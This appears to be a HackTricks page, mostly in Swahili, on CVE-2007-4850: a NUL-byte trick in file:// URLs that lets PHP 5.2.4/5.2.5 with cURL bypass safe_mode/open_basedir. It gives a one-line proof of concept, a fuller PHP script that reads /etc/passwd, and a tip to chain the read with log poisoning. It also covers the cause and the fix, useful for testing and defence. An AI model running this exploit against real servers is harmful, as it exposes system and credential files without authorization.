PHP 5.2.4 and 5.2.5 PHP cURL

Reading time: 4 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Ukurasa huu unaelezea trick ya zamani lakini bado yenye manufaa katika CTFs/local-legacy-installs ya kupitisha ukaguzi wa PHP safe_mode/open_basedir kwa kutumia extension ya cURL kwenye builds maalum za PHP 5.2.x.

  • Yaliyoathiriwa: PHP 5.2.4 and 5.2.5 with ext/curl enabled.
  • Athari: Kusoma faili za ndani kwa hiari licha ya vikwazo vya safe_mode au open_basedir (hakuna utekelezaji wa msimbo wa moja kwa moja).
  • ID: CVE-2007-4850.

Kutoka http://blog.safebuff.com/2016/05/06/disable-functions-bypass/

One-liner PoC

Ikiwa safe_mode au open_basedir ziko hai na cURL imewezeshwa, yafuatayo yatarudisha yaliyomo ya script ya sasa:

php
var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__)));

PoC iliyo wazi zaidi (arbitrary file read)

php
<?php
// Preconditions (legacy): PHP 5.2.4/5.2.5, safe_mode or open_basedir enabled, ext/curl loaded
$target = '/etc/passwd'; // change to the file you want to read
$ch = curl_init();
// The trick is the NUL byte (\x00). Prefix can be any string; checks are confused and the file after the NUL is read.
curl_setopt($ch, CURLOPT_URL, 'file://prefix'.chr(0).$target);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$resp = curl_exec($ch);
$err  = curl_error($ch);
curl_close($ch);
if ($resp !== false) {
echo $resp; // should contain the target file
} else {
echo "cURL error: $err\n";
}
?>

Vidokezo:

  • Tumia double quotes au chr(0) kuingiza NUL byte halisi. Percent-encoding (%00) haitafanyi kazi kwa uhakika.
  • Hii ni file read primitive. Changanya na primitives nyingine (log poisoning, session file inclusion, etc.) kwa kuinua ruhusa zaidi inapowezekana.

Kwa nini hii inafanya kazi (mfupi)

Udhaifu upo katika jinsi PHP 5.2.4/5.2.5 ilivyofanya safe_mode/open_basedir checks kwa file:// URLs katika ext/curl. Ukaguzi huo ulitafsiri URL na kuthibitisha sehemu ya path, lakini kutokana na jinsi NUL-byte ilivyoshughulikiwa ulithibitisha string tofauti na ile iliyotumika kwa kweli na libcurl. Kwa vitendo, validator inaweza kuruhusu path iliyoko baada ya NUL wakati libcurl ilitumia sehemu kabla ya NUL kama container ya URL, hivyo kuwezesha bypass inayosababisha kusomwa kwa faili iliyowekwa baada ya NUL byte. Angalia uchambuzi wa awali na macro iliyohusishwa katika curl/interface.c kwa maelezo. [CVE-2007-4850].

Vizuizi na marekebisho

  • Imerekebishwa katika toleo la baadaye la 5.2.x (mfano, distro builds zilizosawazishwa hadi 5.2.6) kwa kurekebisha parsing/validation katika ext/curl.
  • Inaathiri tu deployments za zamani sana za PHP; safe_mode iliondolewa katika PHP 5.4 na builds za kisasa hazionyeshi tabia hii.

Angalia pia

Bypasses nyingine za disable_functions/open_basedir na mbinu za kisasa zimekusanywa hapa:

HackTricks

Marejeo

  • Kuingia kwa CVE kwa Ubuntu kwa viashiria vya patch na matoleo yaliyoathirika: https://ubuntu.com/security/CVE-2007-4850
  • Uandishi wa kitaalamu wenye muktadha wa code (cxsecurity): http://cxsecurity.com/issue/WLB-2008010060

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks